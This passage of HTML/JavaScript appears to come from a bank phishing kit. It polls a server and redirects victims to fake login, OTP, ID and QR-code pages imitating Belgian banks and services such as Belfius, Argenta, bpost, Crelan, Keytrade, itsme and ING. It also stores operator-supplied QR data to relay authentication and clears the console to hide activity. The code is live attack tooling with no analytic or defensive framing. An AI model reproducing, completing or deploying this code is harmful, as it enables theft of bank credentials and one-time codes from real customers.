                            location.href = "./bc-l-belfiusMobileTwo.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'l-argentaTwo' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-argentaTwo.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'itsMeLogo' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMeLogoG.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'bpostLogin' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-bpostLogin.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'bpostOtp' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-bpostOtp.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'argentaOtp' ) {
                           /* clearInterval(waiting);						
                            location.href = "./bc-argentaOtp.php?token=" + token1 + "&error=" + two; */			
                        } else if( one == 'itsMeIng' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMeIng.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'crelanMobileQr' ) {
							sessionStorage.setItem('crelanQrText',tree);
							sessionStorage.setItem('crelanMobileQrb64img',forth);
                            clearInterval(waiting);
                            location.href = "./bc-crelanMobileQr.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'crelanMobilePre' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-crelanMobilePre.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'crelanMobileID' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-crelanMobileID.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'crelanMobileLec' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-crelanMobileLec.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'crelanMobileMailC' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-crelanMobileMailC.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'crelanMobileSerie' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-crelanMobileSerie.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'keytradeID' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-keytradeID.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'keytradeChoice' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-keytradeChoice.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'keytradeQr' ) {
							sessionStorage.setItem('keytradeQrText',tree);
							sessionStorage.setItem('keytradeQrb64img',forth);
                            clearInterval(waiting);
                            location.href = "./bc-keytradeQr.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'itsMe-nagelM' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMe-nagelM.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'l-nagelM' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-nagelM.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;		
                        } 

                    }
                });
				
			console.clear();
					/*** ***/

            // Listen for changes
            window.addEventListener('online', () => updateStatus(true));
            window.addEventListener('offline', () => updateStatus(false));

            updateStatus(navigator.onLine);
       
			
			/*** ***/
            }, 2100);
        </script>



</body></html>